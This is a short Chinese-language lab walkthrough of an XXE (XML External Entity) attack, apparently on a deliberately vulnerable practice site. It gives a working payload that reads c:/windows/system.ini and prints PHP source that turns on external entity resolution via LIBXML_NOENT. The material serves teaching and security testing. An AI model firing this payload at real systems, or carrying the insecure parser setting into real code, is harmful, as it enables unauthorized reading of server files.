一个简单的XXE

简单抓包来看一下
这里的xml传入应该就接口了,这里是windows系统搭建的,简单写一下payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///c:/windows/system.ini">]
>
<name>&xxe;</name>
直接提交试试
burp上抓包是这样的
所以我们要用Repeater测试的话就需要对payload进行URL编码,不然就不能识别解析了。
源码分析
$html='';
//考虑到目前很多版本里面libxml的版本都>=2.9.0了,所以这里添加了LIBXML_NOENT参数开启了外部实体解析
if(isset($_POST['submit']) and $_POST['xml'] != null){
$xml =$_POST['xml'];
// $xml = $test;
$data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
if($data){
$html.="<pre>{$data}</pre>";
}else{
$html.="<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>";
}
}
?>
这里做了一个对提交和xml不为空的判断,然后
$xml来存储post传过来的数据,也就是我们的输入
simplexml_load_string(data,classname,options,ns,is_prefix);
转换形式良好的 XML 字符串为 SimpleXMLElement 对象,然后输出对象的键和元素
options就是可选。规定附加的 Libxml 参数。
LIBXML_NOENT - 开启外部实体解析,
.=,累加到$html上,
用<pre>标签来输出
pre 元素中允许的文本可以包括物理样式和基于内容的样式变化,还有链接、图像和水平分隔线。